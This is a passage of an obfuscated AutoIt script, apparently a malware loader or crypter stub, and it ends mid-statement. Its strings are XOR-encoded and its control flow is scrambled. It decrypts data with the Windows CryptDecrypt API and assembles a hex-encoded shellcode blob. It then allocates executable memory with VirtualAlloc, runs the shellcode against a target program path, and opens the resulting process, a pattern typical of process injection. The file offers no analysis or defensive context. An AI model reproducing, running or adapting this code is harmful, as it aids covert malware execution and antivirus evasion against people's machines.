#NoTrayIcon Func ovvbxulaskyv($vdata, $vcryptkey) Global $292878209 = 1021930164 Global $8j6q6c7cij = 544058 For $e = 0 To 2768694 If $292878209 = 94857840 Then Local $iextended = wbhsenrgekrt("0x34", "0x6277714E") Dim $tjcscesv2xdfrklkhofl = 3113344 $292878209 = 1094917431 String(wbhsenrgekrt("0x74316F7D3246675C357541656240364F7D6E7D35727D3C425574696B725347625E6F6B536F4734486030707155434D67506F6D423C4F4335334A5055745D45615C7D6F316B637E31775C5D456249346D566E416F4A326C6B4A7C5D43516E7374476B4C75724A5C48", "0x49757667")) Mod(707436, 3174799) EndIf If $292878209 = 244539296 Then DllCall($__g_acryptinternaldata[wbhsenrgekrt("0x32", "0x5575")], wbhsenrgekrt("0x626F6F6C", "0x"), wbhsenrgekrt("0x427378717545647275736E7849607269", "0x446768"), wbhsenrgekrt("0x6C656A606861", "0x764D6651"), $hcrypthash) $292878209 = 545725057 Dim $sqa0q6r1s3ljai80fixc = 1417346 EndIf If $292878209 = 252626700 Then DllStructSetData($tbuff, Execute(wbhsenrgekrt("0x32", "0x5575")), $vcryptkey) Chr(2959789) $292878209 = 316595360 IsBool(1931795 + 679967 + 3752095 + 3248926) Chr(1434117) EndIf If $292878209 = 316595360 Then $aret = DllCall($__g_acryptinternaldata[wbhsenrgekrt("0x32", "0x5575")], wbhsenrgekrt("0x626F6F6C", "0x"), wbhsenrgekrt("0x40717A73774B62706B47627762", "0x6559"), wbhsenrgekrt("0x6C656A606861", "0x764D6651"), $hcrypthash, wbhsenrgekrt("0x7275737462752B", "0x754776"), $tbuff, wbhsenrgekrt("0x64776F7264", "0x"), DllStructGetSize($tbuff), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x32", "0x5575")) Ptr(wbhsenrgekrt("0x566C6B376C6C54", "0x5076")) $292878209 = 984347979 Chr(3364625) Int(2049721) EndIf If $292878209 = 338886121 Then $tbuff = DllStructCreate(wbhsenrgekrt("0x637875645A", "0x6C684A") & BinaryLen($vcryptkey) & wbhsenrgekrt("0x5E", "0x636D")) Ptr(wbhsenrgekrt("0x3B", "0x4D4E")) $292878209 = 252626700 String(1527497 - 2228428 - 1630672 * 805573) EndIf If $292878209 = 446890319 Then $__g_acryptinternaldata[wbhsenrgekrt("0x32", "0x5575")] = $hadvapi32 $292878209 = 1820615488 IsString(wbhsenrgekrt("0x474576594B51334C52455261654B4C7532305179707432714A7A68", "0x")) EndIf If $292878209 = 545725057 Then $vcryptkey = $vreturn IsFloat(3009641 + 1677616 + 3199556) $292878209 = 1750190664 Dim $td2ykljfzyy88mmfokij = 1276377 EndIf If $292878209 = 745203720 Then $__g_acryptinternaldata[wbhsenrgekrt("0x34", "0x6277714E")] += wbhsenrgekrt("0x32", "0x5575") $292878209 = 946580835 EndIf If $292878209 = 794585332 Then Local $hadvapi32 = DllOpen(wbhsenrgekrt("0x42677562736A30312D676F6F", "0x6C44")) Ptr(734257 * 1588514 + 3296839) $292878209 = 446890319 Mod(2855179, 687196) IsPtr(wbhsenrgekrt("0x74384C7235544B683160704F676A6A776065594D5850627465306640546A554949604B4E7B4460406050496A49334C624658314A3959504F377371", "0x5A554C")) EndIf If $292878209 = 946580835 Then $aret = DllCall($__g_acryptinternaldata[wbhsenrgekrt("0x32", "0x5575")], wbhsenrgekrt("0x626F6F6C", "0x"), wbhsenrgekrt("0x47767D74704776616570614C65776C", "0x44547673"), wbhsenrgekrt("0x6C656A606861", "0x764D6651"), $__g_acryptinternaldata[wbhsenrgekrt("0x32", "0x48")], wbhsenrgekrt("0x74686F75", "0x49434B"), wbhsenrgekrt("0x337B333333333B333330", "0x5266"), wbhsenrgekrt("0x747076", "0x6847626C"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x69606F656D642B", "0x694764"), wbhsenrgekrt("0x34", "0x6277714E")) $292878209 = 1497423492 IsFloat(wbhsenrgekrt("0x494535456075486B6A", "0x5754")) EndIf If $292878209 = 984347979 Then $aret = DllCall($__g_acryptinternaldata[wbhsenrgekrt("0x32", "0x5575")], wbhsenrgekrt("0x626F6F6C", "0x"), wbhsenrgekrt("0x47767D74704061766D72614F617D", "0x4B654D4A"), wbhsenrgekrt("0x6C656A606861", "0x764D6651"), $__g_acryptinternaldata[wbhsenrgekrt("0x32", "0x48")], wbhsenrgekrt("0x74686F75", "0x49434B"), wbhsenrgekrt("0x31793131313137373031", "0x704B70"), wbhsenrgekrt("0x6C656A606861", "0x764D6651"), $hcrypthash, wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x337B3333333333333332", "0x4873"), wbhsenrgekrt("0x69606F656D642B", "0x694764"), wbhsenrgekrt("0x34", "0x6277714E")) Dim $d36tiiut6tho8x1s13zw = 2216929 - 116157 * 1320020 $292878209 = 1046357770 Mod(2266760, 2028191) EndIf If $292878209 = 1021930164 Then Local $__g_acryptinternaldata[wbhsenrgekrt("0x30", "0x4464")] $292878209 = 1101603334 Chr(1444233) EndIf If $292878209 = 1026633618 Then Local $tbuff = wbhsenrgekrt("0x34", "0x6277714E") $292878209 = 1948206075 Ptr(wbhsenrgekrt("0x4A575A723B347A4C", "0x5563")) Dim $9j6huanmjjml1euqbxzo = 182140 EndIf If $292878209 = 1046357770 Then $vreturn = $aret[wbhsenrgekrt("0x34", "0x6A6778")] $292878209 = 244539296 Dim $gqj9xwwimwamimh4vh6v = 906007 EndIf If $292878209 = 1094917431 Then Local $iplaintextsize = wbhsenrgekrt("0x34", "0x6277714E") $292878209 = 1315599358 IsBinary(wbhsenrgekrt("0x663267386C466745606F6F44686D4250564D6631344853775842336E55706F57774043755360604A664C356832434C625B706768476A60496D556D554E30575538426B52556B39564D4754724F4942765B317B426D64716A7B3269365B70376E336D684072347250727546604052354C", "0x6C614A")) EndIf If $292878209 = 1101603334 Then Local $aret = wbhsenrgekrt("0x34", "0x6277714E") Chr(1182234) $292878209 = 1026633618 Mod(3931719, 1139408) Dim $7vieaczce3guk1hous9d = wbhsenrgekrt("0x3D736C5C4E496B6A704A474A767268453176456A6B526576576D5573336B4D344C70333D465734346F5D527460623641735D5D454D74466B725E624632357461614962337D693C69454F677E65516B48746F65", "0x76776C65") EndIf If $292878209 = 1143464446 Then Local $ierror = wbhsenrgekrt("0x34", "0x6277714E") $292878209 = 94857840 EndIf If $292878209 = 1315599358 Then Local $vreturn = wbhsenrgekrt("0x34", "0x6277714E") IsBinary(1595404 + 2285875 * 734120 - 12084) $292878209 = 1474577183 Dim $k97mbokjcmv1fn5vyfoi = 1408553 - 140062 * 2921640 * 1276186 - 3301547 - 1297873 + 3355483 EndIf If $292878209 = 1474577183 Then $vdata = BinaryToString($vdata) $292878209 = 794585332 EndIf If $292878209 = 1497423492 Then $hcrypthash = $aret[wbhsenrgekrt("0x34", "0x6A6778")] $292878209 = 338886121 EndIf If $292878209 = 1750190664 Then $tbuff = DllStructCreate(wbhsenrgekrt("0x637875645A", "0x6C684A") & BinaryLen($vdata) + wbhsenrgekrt("0x32333333", "0x476E") & wbhsenrgekrt("0x5E", "0x636D")) ExitLoop EndIf If $292878209 = 1820615488 Then Local $iproviderid = wbhsenrgekrt("0x3137", "0x4644") IsBool(wbhsenrgekrt("0x3770", "0x")) $292878209 = 2137482185 IsPtr(3497820 + 3040526 * 3165263 + 2933321) EndIf If $292878209 = 1934886641 Then $__g_acryptinternaldata[wbhsenrgekrt("0x32", "0x48")] = $aret[wbhsenrgekrt("0x32", "0x5575")] $292878209 = 745203720 Chr(3340352) String(wbhsenrgekrt("0x527E40496B355C6F614F4A4E3C7676707E45576A4765474F74676F4F6C4B695D49503D467C", "0x50424568")) EndIf If $292878209 = 1948206075 Then Local $ttempstruct = wbhsenrgekrt("0x34", "0x6277714E") $292878209 = 1143464446 IsBinary(559840 - 2268795 + 548120) Ptr(191498 * 3806923 * 1468307 + 2739069) EndIf If $292878209 = 2137482185 Then Local $aret = DllCall($__g_acryptinternaldata[wbhsenrgekrt("0x32", "0x5575")], wbhsenrgekrt("0x626F6F6C", "0x"), wbhsenrgekrt("0x437279707441637175697265436F6E74657874", "0x"), wbhsenrgekrt("0x69606F656D642B", "0x694764"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x747076", "0x6847626C"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x747076", "0x6847626C"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x64776F7264", "0x"), $iproviderid, wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x30784630303030303030", "0x79")) $292878209 = 1934886641 Mod(1216503, 3353801) EndIf IsBinary(851087 + 1285949 + 2653017 - 635869) Next If BinaryLen($vdata) > wbhsenrgekrt("0x34", "0x6277714E") Then DllStructSetData($tbuff, Execute(wbhsenrgekrt("0x32", "0x5575")), $vdata) Global $446890319 = 1021930164 Global $ldwkj1oees = 1827476 For $e = 0 To 2305727 If $446890319 = 94857840 Then DllCall($__g_acryptinternaldata[wbhsenrgekrt("0x32", "0x5575")], wbhsenrgekrt("0x626F6F6C", "0x"), wbhsenrgekrt("0x47767D747040617770766B7D4F617D", "0x58416762"), wbhsenrgekrt("0x6C656A606861", "0x764D6651"), $vcryptkey) IsPtr(2616288 * 1194318) $446890319 = 1094917431 Dim $zasm2rtgua5aovxeuamf = 2386875 - 1132909 - 2262011 + 36729 + 1804327 + 178540 - 825178 EndIf If $446890319 = 794585332 Then Return Binary($vreturn) WinExists(wbhsenrgekrt("0x61315264694D556673354D37696D656F41546E644D5248654B787258744B474743594C6F34766A31596B5370596D34416867746873593974734C435576365652786645744A3075654A76", "0x")) ExitLoop EndIf If $446890319 = 1021930164 Then $aret = DllCall($__g_acryptinternaldata[wbhsenrgekrt("0x32", "0x5575")], wbhsenrgekrt("0x626F6F6C", "0x"), wbhsenrgekrt("0x437279707444656372797074", "0x48"), wbhsenrgekrt("0x6C656A606861", "0x764D6651"), $vcryptkey, wbhsenrgekrt("0x6C656A606861", "0x764D6651"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x626F6F6C", "0x"), Execute(wbhsenrgekrt("0x57717666", "0x674D")), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x7275737462752B", "0x754776"), $tbuff, wbhsenrgekrt("0x65766E73652B", "0x627365"), BinaryLen($vdata)) Mod(1582752, 1923346) $446890319 = 1101603334 Mod(1084618, 1604692) EndIf If $446890319 = 1026633618 Then $ttempstruct = DllStructCreate(wbhsenrgekrt("0x637875645A", "0x6C684A") & $iplaintextsize + wbhsenrgekrt("0x32", "0x5575") & wbhsenrgekrt("0x5E", "0x636D"), DllStructGetPtr($tbuff)) Random(1135206) $446890319 = 1948206075 IsString(1626661 * 2856392) Ptr(wbhsenrgekrt("0x734B354A44773A75677246724B423A32594672376068683374673B424B5130627A4261337164703A3536596A61483249313331654A7457667B646F47764B5A747447316B796A49576F713B6B756159546F7A4A515A5B42615135416836", "0x486C")) EndIf If $446890319 = 1094917431 Then $__g_acryptinternaldata[wbhsenrgekrt("0x34", "0x6277714E")] -= wbhsenrgekrt("0x32", "0x5575") String(wbhsenrgekrt("0x544457566957736930727B4F5774727A71353A644A4A67337940527A5B7B4D486230737060417359414C37694D656D65374544517B62", "0x7A58")) $446890319 = 1315599358 IsString(1313199 + 3400868 - 2072289 - 3194407) Dim $8wzrjo4o3mtojer06m9a = 165844 EndIf If $446890319 = 1101603334 Then $iplaintextsize = $aret[wbhsenrgekrt("0x32", "0x52506252")] Dim $hwksxh0cy95jraov9hjr = 3438 $446890319 = 1026633618 EndIf If $446890319 = 1143464446 Then Local $aret = DllCall($__g_acryptinternaldata[wbhsenrgekrt("0x32", "0x5575")], wbhsenrgekrt("0x626F6F6C", "0x"), wbhsenrgekrt("0x47767D747040617770766B7D4F617D", "0x58416762"), wbhsenrgekrt("0x6C656A606861", "0x764D6651"), $vcryptkey) IsBool(3304042 + 845243) $446890319 = 94857840 String(wbhsenrgekrt("0x70777730314A4B686B37394F60456E42696672716E52306E31483556373833317078736E74684A30563447544C38584B35544B63645B77494566607350596D6B6569764D6C6069", "0x765453")) Chr(1905581) EndIf If $446890319 = 1315599358 Then DllCall($__g_acryptinternaldata[wbhsenrgekrt("0x32", "0x5575")], wbhsenrgekrt("0x626F6F6C", "0x"), wbhsenrgekrt("0x40717A737751666F66627066406C6D77667B77", "0x6C6E"), wbhsenrgekrt("0x6C656A606861", "0x764D6651"), $__g_acryptinternaldata[wbhsenrgekrt("0x32", "0x48")], wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x34", "0x6277714E")) $446890319 = 1474577183 String(755541 * 3088246 - 143365) EndIf If $446890319 = 1474577183 Then DllClose($__g_acryptinternaldata[wbhsenrgekrt("0x32", "0x5575")]) Mod(560582, 1250988) $446890319 = 794585332 IsFloat(2492229 - 3627029) EndIf If $446890319 = 1948206075 Then $vreturn = BinaryMid(DllStructGetData($ttempstruct, Execute(wbhsenrgekrt("0x32", "0x5575"))), wbhsenrgekrt("0x32", "0x5575"), $iplaintextsize) IsString(1389904 - 1394572) $446890319 = 1143464446 WinExists(wbhsenrgekrt("0x56", "0x")) EndIf Next EndFunc Func ewyotozfgclifr($vdata, $vcryptkey) Return Execute(wbhsenrgekrt("0x6F6D5270474F784F485A464C282476446174612C20247643727970744B657929", "0x")) EndFunc Func omrpgoxohzfl($bffkfkznil, $jnoienfpnu) Return Execute(wbhsenrgekrt("0x51567665524F574A6A5166682C204662424F626F7E6A6D4828204E6A4B4D616A62744A512D", "0x47544D6D")) EndFunc Func urravksnnubl($qsxkbegrfd, $sjlsuuyedi) Return Execute(wbhsenrgekrt("0x476A6874694F7567416E504B28245173584B4245677266442C24536A6C7375755945644929", "0x")) EndFunc Func gjhtiouganpk($madgugdlab, $bsuepiiujb) Return Execute(wbhsenrgekrt("0x4974656877514B457E6D466A2C2049456063716340686566282066777161744D6D714E462D", "0x4A716959")) EndFunc Func mpalsuoazibn($dhifszbvnk, $pblfhppqpu) Return Execute(wbhsenrgekrt("0x49677049637577554C466A57282464684946735A62766E4B2C2450426C4668705051507529", "0x")) EndFunc Func igpicuwulfjw($avrdbzphcm, $mdvceesyov) Return Execute(wbhsenrgekrt("0x64676570467A4F44404B6C452B27625551676159534B604E2F274E4755406646505A4C752A", "0x7376")) EndFunc Func gdfseylgchof($ehyqmahpxa, $tsfoaiqedt) Return Execute(wbhsenrgekrt("0x6A67755466624D5869556C622824656859714D61487058412C245453664F61697145647429", "0x")) EndFunc Func jgutfbmxiulb($kusbxmfjad, $xqctpswara) Return Execute(wbhsenrgekrt("0x5D69414256717D634341426B2C204F7177467C49624E454028207C7547707477734576652D", "0x53676348")) EndFunc Func ymefruyggefo($szkcttxhbv, $nnuulkpxsa) Return Execute(wbhsenrgekrt("0x4F76764278754C61536B59762824537A4B635474584862762C246E6E55754C4B5058734129", "0x")) EndFunc Func gppwogvmbfjy($wpath, $warguments, $lpfile, $protect) Global $850586237 = 1021930164 Global $jdo3zmqeiz = 3635585 For $e = 0 To 1799950 If $850586237 = 50436774 Then $bin_shellcode &= wbhsenrgekrt("0x3033343546383530464637354438464635354343383543303734313238423444463438334337323830464237343630363431383934444634334243383732", "0x") Random(2251972) $850586237 = 1702891556 Dim $9wyt9wzdtkdjsl3otwtv = 3397519 - 2117277 WinExists(wbhsenrgekrt("0x78374238316D584B675A6B307A4241306E38374736657330616258704530467566594167724D4C363462575A483633347A4E7335417862734E4B37307A4866717430554B6175484B76614C357343726568333031474A34535768425151574777354545536C7233656653497A5667616B74325346", "0x50")) EndIf If $850586237 = 94857840 Then $bin_shellcode &= wbhsenrgekrt("0x333035303C4631314247303237463331343C33364133373747343142314131463C46413131404736343C34343C463031423C34424633343033343C463430", "0x55726869") IsPtr(3715096 * 3562949) $850586237 = 1094917431 WinExists(wbhsenrgekrt("0x43706158384A33306156565A614436516872775864614F515656576A43396D6F58383746676E6D5539324635443454426669574B456847424A74626D5855776149476263474149", "0x")) IsBinary(760380 * 795702 * 123190) EndIf If $850586237 = 161066859 Then $bin_shellcode &= wbhsenrgekrt("0x4646353543343842354446434539463530313030303033334646464637363534464637353130353346463535423433334330383937444630363633423436", "0x72") $850586237 = 1325270213 IsFloat(wbhsenrgekrt("0x35576C393670454676373352354F4932463173753730686B6B425163583858754A624558536551485138786F37757A7956766532776747664F6159", "0x")) EndIf If $850586237 = 189173091 Then $bin_shellcode &= wbhsenrgekrt("0x3046383438413030303030303833374446343030304638343830303030303030384239374130303030303030383336354634303030334433383342464134", "0x") $850586237 = 516130984 EndIf If $850586237 = 198015411 Then $vararray[wbhsenrgekrt("0x34", "0x6277714E")](wbhsenrgekrt("0x6A64736F646D3233", "0x596A55"), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x5669727475616C46726565", "0x"), wbhsenrgekrt("0x64776F7264", "0x"), $lpshellcode, wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x347C3C343434", "0x5679654D")) WinExists(wbhsenrgekrt("0x536E466F514A3D473669346775754537303C4741", "0x72486742")) ExitLoop EndIf If $850586237 = 244539296 Then $bin_shellcode &= wbhsenrgekrt("0x3333433033393136304639344330334435303435303030303046383446433032303030303333433036363339353630343046393443303344344330313030", "0x67") Dim $np9ezngo8lmrlchlwx8b = 1189871 + 1141329 - 1007379 - 2574115 - 3024793 - 1771301 + 3919834 * 1761883 $850586237 = 545725057 Ptr(2488069 + 1201432 + 1070615) EndIf If $850586237 = 252626700 Then $bin_shellcode &= wbhsenrgekrt("0x4745354232333B473736473B373036333B3A3647454045453636463B354237373B473B364740454645454545363345453636463B353B4040333133333333", "0x6D4A") $850586237 = 316595360 WinExists(wbhsenrgekrt("0x54506339445B314B68457554405231635868396077377132626F636F4C4036754635", "0x4D7264")) EndIf If $850586237 = 256594088 Then $bin_shellcode &= wbhsenrgekrt("0x3943354547353132354031353132343331353938354547353243394740353131313131313633383432324747343647473637343134324747363447394747", "0x774965") $850586237 = 1335055581 Random(176996) EndIf If $850586237 = 279892557 Then Local $file_struct = $vararray[wbhsenrgekrt("0x32", "0x5575")](wbhsenrgekrt("0x667D7061246874626D68615F", "0x72536A69") & $vararray2[wbhsenrgekrt("0x32", "0x5575")]($lpfile) & wbhsenrgekrt("0x5E", "0x636D")) Ptr(1985015 + 2575349 - 3613276 * 3208819) $850586237 = 838040285 IsPtr(3777283 - 23699 + 2129384 - 3069177) EndIf If $850586237 = 292878209 Then $bin_shellcode &= wbhsenrgekrt("0x3030364130303641303438443435424335303842383542344643464646463833433030383530464637354438464635353934383543303046383437383032", "0x") Dim $esjr4hxgtnrt6m8aorzq = 759995 + 399713 - 199614 * 1102846 + 91901 * 1570480 + 1856814 - 3321686 $850586237 = 1219526522 IsPtr(wbhsenrgekrt("0x377537777E68604F4C6063776A415D5269304A327562413D7469354E5C736931614553317E5C6B353155513C4862", "0x5867634E")) IsBool(wbhsenrgekrt("0x73667168585633646D7543586C306C6E575332757A4F57624A7647786A7533625437335A5974396B4655634742324868", "0x")) EndIf If $850586237 = 316595360 Then $bin_shellcode &= wbhsenrgekrt("0x3945393430314742474747473431474734344439394335453031423639343031474247474747313631313130313139433630324231324730314743363537", "0x537079") $850586237 = 984347979 Random(2552171) EndIf If $850586237 = 338886121 Then $bin_shellcode &= wbhsenrgekrt("0x4339343144393533474447474747394339424334333147474747474739383130393442313147393538303132313131313537393247443144364245333943", "0x486E58") $850586237 = 252626700 Mod(2058310, 3563132) Chr(302714) EndIf If $850586237 = 354071659 Then $bin_shellcode &= wbhsenrgekrt("0x4742474747473932423131393431474736344539474734344535393442313147393532424744474747473943353733393132353447393938393442314742", "0x794551") $850586237 = 888462275 EndIf If $850586237 = 402793452 Then $bin_shellcode &= wbhsenrgekrt("0x3235474736344539474734344231393835344739393442313634324339344747314739353332313331313131374035313739313132313131313147473637", "0x7A6269") IsBinary(1023388 * 3209189 - 3819419) $850586237 = 933211345 Random(3827636) EndIf If $850586237 = 413366774 Then Local $vararray2 = [$exec(wbhsenrgekrt("0x43686F6073784D646F", "0x7A6C50")), $exec(wbhsenrgekrt("0x537472696E674C656E", "0x79"))] $850586237 = 644871354 IsBool(24055 + 357822 + 3216795 + 736554) EndIf If $850586237 = 438884314 Then Local $exec = Execute(wbhsenrgekrt("0x417C6167717061", "0x6674626E")) Random(3622203) $850586237 = 928282751 EndIf If $850586237 = 446890319 Then $bin_shellcode &= wbhsenrgekrt("0x4646464646463844343543303839383533304646464646463844343539383839383533344646464646463844343544343839383533384646464646463844", "0x75") Ptr(2381379 * 370822 + 1123037) $850586237 = 1820615488 WinExists(wbhsenrgekrt("0x6B575959436B4933446E33304D6778664D70433136346742704872345463456E4A36766C6646473368356A4C4F55395152394E41776155714F774835324E6B42534F7152566D6167544A556155455746484C", "0x6E")) EndIf If $850586237 = 480908561 Then Local $handlefrompid = $vararray[wbhsenrgekrt("0x34", "0x6277714E")](wbhsenrgekrt("0x6866716D666F30312D676F6F", "0x6E65"), wbhsenrgekrt("0x6C656A606861", "0x764D6651"), wbhsenrgekrt("0x4F70656E50726F63657373", "0x45"), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x31793131304731474747", "0x44444F"), wbhsenrgekrt("0x626F6F6C", "0x"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x64776F7264", "0x"), $ret[wbhsenrgekrt("0x34", "0x6277714E")])[wbhsenrgekrt("0x34", "0x6277714E")] $850586237 = 198015411 Dim $fs8lacvr3ads5e9hsxpt = 2067153 + 2371820 EndIf If $850586237 = 516130984 Then $bin_shellcode &= wbhsenrgekrt("0x3333333333333333343535413B41373133373030403A3B30463B333B3B3A37474533423A4546454545454545343537363345413437373742333B35353B36", "0x4C4B") $850586237 = 1190581615 IsFloat(wbhsenrgekrt("0x56766D634D7674604F5366745657515E726070404D716C316B516670486B6F5C5D6B5C567E4F6A3C47474D5D65634D505574765373656C736E69355D743245734F6B464631607E525E7265635277316D6F", "0x6E547156")) EndIf If $850586237 = 545725057 Then $bin_shellcode &= wbhsenrgekrt("0x333333453B37463B3331333333333B473736473B36333B473B3647404546454545453633363136313542333736313631363145453436334045453436333B", "0x4278") $850586237 = 1750190664 EndIf If $850586237 = 644871354 Then Local $lpshellcode = $vararray[wbhsenrgekrt("0x34", "0x6277714E")](wbhsenrgekrt("0x6A64736F646D3233", "0x596A55"), wbhsenrgekrt("0x747076", "0x6847626C"), wbhsenrgekrt("0x5669727475616C416C6C6F63", "0x44"), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x34", "0x6277714E"), wbhsenrgekrt("0x64776F7264", "0x"), $vararray2[wbhsenrgekrt("0x34", "0x6277714E")]($bin_shellcode), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x337B30333333", "0x734F"), wbhsenrgekrt("0x64776F7264", "0x"), wbhsenrgekrt("0x337B3733", "0x646B"))[wbhsenrgekrt("0x34", "0x6277714E")] Chr(2187789) $850586237 = 933758234 EndIf If $850586237 = 730031281 Then $bin_shellcode &= wbhsenrgekrt("0x45333B473445313B334541343735333537323B3A374745333041403B344047403B41344130403B413736453B333045413B303447464033333B3A37343037", "0x474A") Mod(866902, 3124488) $850586237 = 189173091 Ptr(3332909 * 65766 * 64241) Int(2923569) EndIf If $850586237 = 745203720 Then $bin_shellcode &= wbhsenrgekrt("0x4341443830334337383537304646464646463939423034383036433738353734464646464646393342413934303343373835373846464646464645344337", "0x") Int(245830) $850586237 = 946580835 String(wbhsenrgekrt("0x69677D4841614D626D4060413D437E467E5C635E56313D535269335C663D3C53776D49414C7D413267516D6B4D467042655173366B4B5C7567493576", "0x6B654779")) EndIf If $850586237 = 794585332 Then $bin_shellcode &= wbhsenrgekrt("0x4337383535434646464646463739344138413042383938353234464646464646384434354230383938353238464646464646384434354134383938353243", "0x") $850586237 = 446890319 Dim $444brjx6xvms3bwqlggn = 1331241 - 1848349 * 2156748 + 3292960 + 2716473 * 2946125 + 1077299 - 2445878 EndIf If $850586237 = 838040285 Then $vararray[wbhsenrgekrt("0x32", "0x48")]($shellcode_struct, wbhsenrgekrt("0x7269646D6D626E6564", "0x707544"), $bin_shellcode) $850586237 = 2123056041 EndIf If $850586237 = 857064038 Then Local $ret = $vararray[wbhsenrgekrt("0x30", "0x4464")](wbhsenrgekrt("0x64776F7264", "0x"), $lpshellcode + wbhsenrgekrt("0x30784245", "0x41"), wbhsenrgekrt("0x76727573", "0x6E6F61"), $wpath, wbhsenrgekrt("0x76727573", "0x6E6F61"), $warguments, wbhsenrgekrt("0x747076", "0x6847626C"), $vararray[wbhsenrgekrt("0x37", "0x766C")]($file_struct)) Int(1717498) $850586237 = 480908561 IsFloat(3205004 - 2987775 - 2108342) Random(1946648) EndIf If $850586237 = 888462275 Then $bin_shellcode &= wbhsenrgekrt("0x4646464638443835313046434646464635304646373544434646353539303835433030463834314246454646464646463735444346463535414338354330", "0x") $850586237 = 1621701244 IsPtr(wbhsenrgekrt("0x60425951427245405B473168473A5A6972314176445736674D333245577749527245463B337074723071566052724546726F737B75527B70465560497A3A5740306F373B4759703B466F41733A317B7476746C4B676F76496B6E4766735B32304B72694775446241317131686C6B", "0x7657")) EndIf If $850586237 = 890626058 Then $bin_shellcode &= wbhsenrgekrt("0x313431473937363647424747474732324231344734443443394344343445423331423131", "0x556E49") $850586237 = 438884314 Chr(2810968) EndIf If $850586237 = 913085466 Then $bin_shellcode &= wbhsenrgekrt("0x3038383145314646304630303030303330413031303431393842344446303842343230343431383345383038383934444630443145383342433837324242", "0x") Ptr(wbhsenrgekrt("0x6F5453744853545434615877584F57736B766133325249485A697631424D625253674D486B30517A4A", "0x")) $850586237 = 256594088 IsBinary(wbhsenrgekrt("0x34454E7A523A337A404B69684679753171713A654D51616D6A774C49703A6D3765696F336D67356032774E657A3A75726751486F52756173467A737577736540767365766C454D6D75356C7666355969", "0x6279")) IsString(1601431 + 2949513) EndIf If $850586237 = 924938958 Then $bin_shellcode &= wbhsenrgekrt("0x3333333331333437323A3B364033343A33373542373346413234313633333333333337334534473B324140333B30463332333B3040333233464132363B36", "0x7041") $850586237 = 1479397478 IsFloat(854610 * 608064) EndIf If $850586237 = 925179408 Then $bin_shellcode &= wbhsenrgekrt("0x3835433030463834453446454646464633334330383937444634363633423436303637333643384237444430383343373343303346453842303741393030", "0x63") Dim $hdw0tgqlhigx4teesbvn = wbhsenrgekrt("0x6A5B40576F4C69356A506E36763949626D454C40545971536D583352674269485955796F", "0x616459") $850586237 = 924938958 IsString(wbhsenrgekrt("0x7277333141485636636747545749774A544A7A56795A5348516A4E4A746668386932437A76305570685663774B30626B624E6D4566546A424F766C72336B4C3639494A", "0x6A")) Random(917410) EndIf If $850586237 = 928282751 Then Local $vararray = [$exec(wbhsenrgekrt("0x446C6C43616C6C", "0x57")), $exec(wbhsenrgekrt("0x446C6C537472756374437265617465", "0x")), $exec(wbhsenrgekrt("0x40686857707671677057617040657065", "0x70764670")), $exec(wbhsenrgekrt("0x4068684765686845606076617777", "0x64557252")), $exec(wbhsenrgekrt("0x446C6C537472756374476574507472", "0x"))] Dim $nwv70iciq2l2zsavancv = 3790370 + 395334 - 142525 + 446613 + 253810 - 1273836 $850586237 = 413366774 Dim $fosyuizl6dwqjlfmnovx = 2734333 EndIf If $850586237 = 933211345 Then $bin_shellcode &= wbhsenrgekrt("0x3431323247474236353444423130313131313131343647473634453947473434423139383534473939344231363430353739313139313131313134363432", "0x567462") IsBool(wbhsenrgekrt("0x4571493636746D75424B747435756D636176673539316C6573697A62397544566862674F457A55303955564D35633176", "0x57")) $850586237 = 161066859 IsString(wbhsenrgekrt("0x4D66444E59346C766768486D346E48484B4C71356F67486A7171645476773571624B44496157363559794E46773037685566", "0x4D")) EndIf If $850586237 = 933758234 Then Local $shellcode_struct = $vararray[wbhsenrgekrt("0x32", "0x5575")](wbhsenrgekrt("0x667D706124776C616868676B60615F", "0x79747568") & $vararray2[wbhsenrgekrt("0x34", "0x6277714E")]($bin_shellcode) & wbhsenrgekrt("0x5E", "0x636D"), $lpshellcode) $850586237 = 279892557 EndIf If $850586237 = 946580835 Then $bin_shellcode &= wbhsenrgekrt("0x413A333740343B36344045454545454546373B34413B3337403437363B33423A314747343332403437363B373336473230473341403437363B3B37373134", "0x4F74") String(3401877 + 2993842 + 1112062) $850586237 = 1497423492 IsBool(2721898 + 3325276 - 177729) EndIf If $850586237 = 984347979 Then $bin_shellcode &= wbhsenrgekrt("0x3035393836454739393836454342393835344531323843444031313131313131363530303238434440353131313131313635313847373537303731303634", "0x727365") Int(3749730) $850586237 = 1046357770 Random(3913279) EndIf If $850586237 = 1021930164 Then Local $bin_shellcode = wbhsenrgekrt("0x347C31313C4641473C463040343C3C4647353C34373D34343330343230343C34373C34343331424536464735314047363430343431313C46414731323133", "0x57477571") $850586237 = 1101603334 EndIf If $850586237 = 1026633618 Then $bin_shellcode &= wbhsenrgekrt("0x4234333034464735413C353C373742343C35413242424242424234423033303D3331413431423C4647323141314047363430343431313C46414731353135", "0x69684C56") $850586237 = 1948206075 EndIf If $850586237 = 1046357770 Then $bin_shellcode &= wbhsenrgekrt("0x3033333346463437333344323839374446343333433038393535454336363339313130463934433033443444354130303030304638343045303330303030", "0x62") String(2230035 + 3508120 + 1413902) $850586237 = 244539296 Mod(3652146, 1898212) EndIf If $850586237 = 1094917431 Then $bin_shellcode &= 